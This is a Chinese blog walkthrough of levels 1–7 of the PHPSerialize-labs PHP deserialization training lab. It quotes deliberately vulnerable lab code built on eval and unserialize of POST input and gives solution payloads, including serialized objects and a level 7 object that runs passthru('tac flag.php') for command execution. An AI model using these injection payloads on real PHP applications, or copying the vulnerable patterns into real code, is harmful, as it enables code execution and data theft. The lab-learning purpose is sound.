PHP反序列化靶场实战

使用的是探姬制作的反序列化靶场 PHPSerialize-labs

直接下载ZIP后用中间件指向目录即可,小皮也可以

Level 1: 类的实例化

打开题目,我们看到定义了一个类 FLAG,在该类中还使用了 __construct() 方法,在创建对象时会自动调用

使用

new xxx();

来实例化一个对象

得到flag

Level 2: 对象中值的传递

观察本题源代码:

 <?php

/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

 $flag_string = "HelloCTF{????}";
 
 class FLAG{
        public $free_flag = "???";

        function get_free_flag(){
            echo $this->free_flag;
        }
    }
$target = new FLAG();

$code = $_POST['code'];

if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
    highlight_file('source');
}
Now Flag is ???

我们可以发现,flag值应该就在flag_string变量中,那么我们可以有多种方法获取到其值

方法一:直接输出

我们发现flag_string变量是一个全局变量,他是定义在类之外的。那么直接输出其值

code=echo $flag_string; exit;

方法二:利用变量传递

我们观察代码,发现下方会调用get_free_flag()函数,该函数会输出free_flag的值,那么我们修改 $target->free_flag 使其等于 $flag_string

-> 用于访问 ​对象的属性(变量)或方法(函数)​。它的作用类似于其他语言中的 .(如 JavaScript、Python)

code=$target->free_flag = $flag_string;

然后就可以直接输出flag了

方法三:暴力输出所有变量

既然flag存储在变量中,那么我们直接输出所有变量再观察flag即可。

code=var_dump(get_defined_vars());

然后就看到flag

level 3:对象中值的权限

方法一:暴力获取所有变量

源代码:

 <?php

/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $public_flag = "HelloCTF{?";
    protected $protected_flag = "?";
    private $private_flag = "?}";

    function get_protected_flag(){
        return $this->protected_flag;
    }

    function get_private_flag(){
        return $this->private_flag;
    }
}

class SubFLAG extends FLAG{
    function show_protected_flag(){
        return $this->protected_flag;
    }

    function show_private_flag(){
        return $this->private_flag;
    }
}

$target = new FLAG();
$sub_target = new SubFLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
    echo "Trying to get FLAG...<br>";
    echo "Public Flag: ".$target->public_flag."<br>";
    echo "Protected Flag:".$target->protected_flag ."<br>";
    echo "Private Flag:".$target->private_flag ."<br>";
}

?>
Trying to get FLAG...
Public Flag: HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag? 

还是同上一题一样,所有的值存储在变量中,同时观察代码容易发现,flag是被分为了三部分,第一部分为HelloCTF{ 开头,第二部分为不带大括号的中间内容,第三部分是以反大括号结尾的。

code=var_dump(get_defined_vars());

方法二:逐个输出变量

本题中,protected_flagprivate_flag两个变量不是全局变量,是在FLAG类中的私有变量,也就是说在该类中才可调用,我们观察到在代码中有创建对象的操作,即 $target=new FLAG(); ,那么我们直接输出这个对象中的值即可

code=echo $target->public_flag,$target->get_protected_flag(),$target->get_private_flag();exit;

获取类中的变量这个和python也是一样的,如我也创建一个FLAG类

class FLAG:
    def __init__(self):
        self.public_flag = "flag{"
        self._protected_flag = "哈哈哈"
        self.__private_flag = "终于要放假了}"

target  = FLAG()

try:
    print(public_flag)
    print(protected_flag)
    print(private_flag)
except:
    print("你TM都不知道自己在干啥")

print(target.public_flag+target._protected_flag+target._FLAG__private_flag)

在类中同样切分三部分,不同的只是,在python中,类之内变量默认为public, _ 表示protected, __代表private,我们实例化对象之后,才可以调用它的 protected 和 private 变量。

可以看到,上面直接调变量名的都无法访问,下方加上实例化的变量名,同时private变量还要加上.类名才能正常访问

level 4:序列化初体验

首先查看源码

class FLAG3{
    private $flag3_object_array = array("?","?");
}

class FLAG{
     private $flag1_string = "?";
     private $flag2_number = '?';
     private $flag3_object;

    function __construct() {
        $this->flag3_object = new FLAG3();
    }
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
}

观察代码,发现流程是:

  1. 定义了两个类:
    • FLAG3类:包含一个私有属性$flag3_object_array,是一个数组,初始值为两个问号
    • FLAG类:包含三个私有属性:
      • $flag1_string:字符串,初始为问号
      • $flag2_number:数字(但用字符串表示),初始为问号
      • $flag3_object:一个FLAG3类的对象
  2. 程序创建了一个FLAG类的实例$flag_is_here
  3. 然后检查是否有POST参数code
    • 如果有,就执行eval($code)
    • 如果没有,就高亮显示当前文件内容

方法一:暴力输出变量

依旧是直接暴力输出变量的值,使用:

code=var_dump($flag_is_here);

输出实例化之后的对象中所有的值

可以看见flag1_string变量的值应该就是flag

方法二:使用ReflectionClass

ReflectionClass 是 PHP 的反射类,用于在运行时动态获取和操作类的信息(如属性、方法、接口等),无需实例化即可分析类结构。

核心功能​:

  1. 获取类名、命名空间、父类、接口等元信息。
  2. 检查类特性(是否抽象、接口、Trait)。
  3. 访问私有/受保护属性和方法(通过 setAccessible(true))。
  4. 动态实例化对象(即使构造函数私有)。

典型用途​:依赖注入、单元测试、代码分析工具。

示例​:

$class = new ReflectionClass('User');  
$props = $class->getProperties(); // 获取所有属性
$methods = $class->getMethods(); // 获取所有方法

最终Payload:

code=$ref=new ReflectionClass($flag_is_here);$prop=$ref->getProperty("flag1_string");$prop->setAccessible(true);echo $prop->getValue($flag_is_here);

主要是这几步:

​1、创建反射类对象

$ref = new ReflectionClass($flag_is_here);
  • 获取 $flag_is_here 的类信息。

​2、获取目标属性

$prop = $ref->getProperty("flag1_string");
  • 找到类中的 flag1_string 属性(可能是 privateprotected)。

绕过访问限制

$prop->setAccessible(true);
  • 允许访问私有/受保护的属性。

获取并输出属性值

echo $prop->getValue($flag_is_here);
  • 读取 $flag_is_here 对象的 flag1_string 值并打印。

方法三:序列化

PHP在序列化的时候,会把protected和private属性的变量也同时序列化,只是为了区分不同作用域的属性,PHP 会在私有属性名前添加:

  • private 属性 → \x00类名\x00属性名(如 FLAGflag1_string
  • protected 属性 → \x00*\x00属性名
  • public 属性​ → 直接存储属性名

level 5:序列化的普通值规则

直接看源代码

<?php

$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);

if(
    $your_boolean && 
    $your_NULL == null &&
    $your_string == "IWANT" &&
    $your_number == 1 &&
    $your_object->a_value == "FLAG" &&
    $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
    echo $flag;
}
else{
    echo "You really know how to serialize?";
}

只要这几个变量的反序列化之后的值等于if中这些变量的值,那么就可以获得flag了。那么也就是说,直接把对比结果序列化,然后再对应给相应的变量即可。即

$a_string = "HelloCTF"; /*<=等价于=>*/ $a_string = unserialize('s:8:"HelloCTF";');

那么我们直接使用php代码将内容序列化

<?php 

class a_class{
    public $a_value = "HelloCTF";
}

$your_object = new a_class();
$your_boolean = true;
$your_NULL = null;
$your_string = "IWANT";
$your_number = 1;
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");

$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);

echo $exp;

得到最终exp

o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&s=s:5:"IWANT";&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&i=i:1;&b=b:1;&n=N;

level 6:序列化的权限修饰规则

使用序列化输出变量时,会有一些附加字符来标明其属性

  • protected(受保护): %00*%00变量名
  • private(私有): %00类名%00变量名

然而%00是不可见字符,所以在做反序列化的题目时,我们可以加上urlencode()来避免不可见字符。

首先来查看本题源代码

class protectedKEY{
    protected $protected_key;

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key;

    function get_key(){
        return $this->private_key;
    }

}
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
<?php

$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file(__FILE__);
} 

我们可以看到,本题以POST方式接受protected_keyprivate_key两个变量,同时$protected_key 对象的 get_key() 方法返回值等于字符串 “protected_key”且$private_key 对象的 get_key() 方法返回值等于字符串 “private_key”,就会返回flag字符串。那么我们写exp

<?php
class protectedKEY{
    protected $protected_key = "protected_key";
}
class privateKEY{
    private $private_key = "private_key";
}

$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));

echo $exp;

注意看这个代码,可能会有点疑惑,对比逻辑是与两个字符串进行对比,那么我直接序列化两个字符串不就行了,但是这里是因为使用了->,相当于Python中的点,起继承作用,所以其必须为一个对象。结果

protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

level 7:实例化和反序列化


class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";

    function backdoor(){
        eval($this->flag_command);
    }
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor(); 

本题就是一个简单的反序列化,我们观察到上方的$flag_command变量有一个backdoor()方法,所以我们就实例化一个类,然后使用该方法。同时注意,由于本题涉及到命令执行,我们常用的命令都是Linux的,所以在Windows上无法生效。同时需要5.X的PHP版本,同时修改配置文件解除函数限制。而且不能使用Nginx,Nginx依然存在安全机制,Apache没试过。所以我们使用PHP内置服务器。

php -S 0.0.0.0:端口

注意S大写,EXP:

<?php
class FLAG{
    public $flag_command = "passthru('tac flag.php');";
}
$exp = "o=".serialize(new FLAG());
echo $exp;

本题不需要使用URL编码,如果要用,需要使用空格代替编码的加号

level 8:构造函数和析构函数以及GC机制

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇